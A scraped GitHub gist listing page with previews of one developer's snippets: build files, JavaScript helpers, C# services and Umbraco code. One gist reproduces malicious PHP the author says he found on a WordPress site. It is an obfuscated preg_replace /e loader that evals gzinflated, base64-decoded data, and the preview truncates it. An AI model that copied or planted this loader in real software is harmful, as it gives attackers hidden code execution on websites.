Skip to content

Instantly share code, notes, and snippets.

View andy-williams's full-sized avatar

Andrew Williams andy-williams

View GitHub Profile
@andy-williams
andy-williams / build.xml
Created March 10, 2014 11:23
Example phing build.xml - seems to be more or less the same as Ant
<?xml version="1.0" encoding="UTF-8"?>
<project name="ProjectName" default="dist">
<property name="builddir" value="./build" />
<!-- ============================================ -->
<!-- Target: prepare -->
<!-- ============================================ -->
<target name="prepare">
<echo msg="Making directory ${builddir}" />
@andy-williams
andy-williams / gist:9589990
Last active August 29, 2015 13:57
Poet - get post page
poet.helpers.getPostPage = function(title) {
var postsPerPage = poet.options.postsPerPage;
var pageCount = poet.helpers.getPageCount();
for(var i=1; i < pageCount; i++) {
var from = (i-1) * postsPerPage;
var to = from + postsPerPage;
var posts = poet.helpers.getPosts(from, to);
if(title in posts) {
return i;
}
@andy-williams
andy-williams / fadeLink.js
Created March 18, 2014 00:19
Slow colour fade on hover - Requires modernizr and jquery.color https://github.com/jquery/jquery-color
@andy-williams
andy-williams / prettifyRun.js
Created March 24, 2014 17:44
add prettyprint class dynamically - to be used in conjunction with https://code.google.com/p/google-code-prettify/
;(function() {
var pres = document.getElementsByTagName("pre");
for(var i=0; i < pres.length; i++) {
if(pres[i].getElementsByTagName('code').length > 0)
{
pres[i].className += "prettyprint";
}
}
@andy-williams
andy-williams / index.php
Created April 15, 2014 08:49
Malicious PHP code I found in a wordpress site
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZfNjuNGDITvAfIOg8UcksvCUv9JWORN5iLZFnIIcsruet8+zeJHS6MEE+QgWD/dbLJYLNKvj+uf0++Pl5fPv718enu0S7/Gt0ct/Wpvj7Ltz/atXvs19Cv5u3HqV/8+9nXjvV+L3+ubvb/6b+m/ra9NtV/l8Nz83bvvw/vnnA7P3VaaTuvbe3v5tD/NJ3vl9L1+cN7ZH/M3fxDPv/l3jv9s73ze0V46+ZdO5/e1+YzfR/7Vf573v/YT39j9bj3Xxfb3b7nf1wX+2P4BnO3Z8O97mj0bjyxfxp/N9+S+vplPo/PL9uXNz7Fc2rn11q9+Vu1rK8+23mznu8dgfDVbur/5mWbD/GyD89jOHtf+zdaFHzePUVgu/GbfY+fZOSXyZvGubsuezYZhYr5Z7LbP+G951XNyvOXX5njU7m+6eBw5ONDc/2pYLb6ukF/jbyXPiToUJyYwI09ldl8aODz3JH+X0qcvP//02uO/bDkKXoXcN+UbBX73BNg7S0ojcRlQLFADTU7PkGNxJ5ToC+KROXgh4MlJcVxjiSsNApF4syUCXRwMs9Oq76+ri4++VX9v+wQQBNE3CNUAx2IzwJXEi58hYCOZE8LWiOPiyVd8YGJ+GlZGnig6EWvxRAhDMNPajffTjpf84Ex7JxIWt2lnt+PzTBHwvlKAtqeUA86F4mr+K8INjoftz+RC+Nx8nXDb3I5Evnpsjf0q1ObkVHyD36tYKL50KAxhkuHJ4Pjm2fMl3xBB44+40sh98vWGx7Pgi2Nozw1xlt8zsQ+eHztT+/DXsJfYXOBshi/JeSG7cFG4X/0cYVUQowEBauAWz5vbsfzpjOZrxJfV32U4+2wAk9sX92ePU/FV8ry4H4l8m2i0EI9
<?php
echo "query data:<br>";
print_r($_GET['array']);
echo "<br>";
echo "query keys:<br>";
print_r(array_keys($_GET['array']));
@andy-williams
andy-williams / gist:d4984f91427d7807409d
Created December 9, 2014 16:32
Download Service, Reading XML
public class DownloadsService
{
private readonly IDictionary<string, IList<Download>> _downloadsCollections;
public DownloadsService()
{
// may be changed as a separate config service if we need to change it somehow
_downloadsCollections = GetDownloadsCollections();
}
@andy-williams
andy-williams / CellValuesExtension.cs
Created January 6, 2015 13:42
CellValuesExtension for OpenXML library
public static class CellValuesExtension
{
public static bool IsBoolean(this EnumValue<CellValues> cellValues)
{
return IsNotEmpty(cellValues) && cellValues.Value == CellValues.Boolean;
}
public static bool IsDate(this EnumValue<CellValues> cellValues)
{
return IsNotEmpty(cellValues) && cellValues.Value == CellValues.Date;
@andy-williams
andy-williams / gist:d40a8b035767bc0d2640
Last active August 29, 2015 14:13
Umbraco set dropdown value
var appContext = ApplicationContext.Current;
var content = appContext.Services.ContentService.CreateContent("content", 0, "docTypeAlias");
content.SetValue("quarter", "Q1");
appContext.Services.ContentService.Save(content);
function iterateArrayWithDelay(argsArr, delay, fn) {
var index = 0;
function next() {
// protect against empty array
if (!argsArr.length) {
return;
}
// call the callback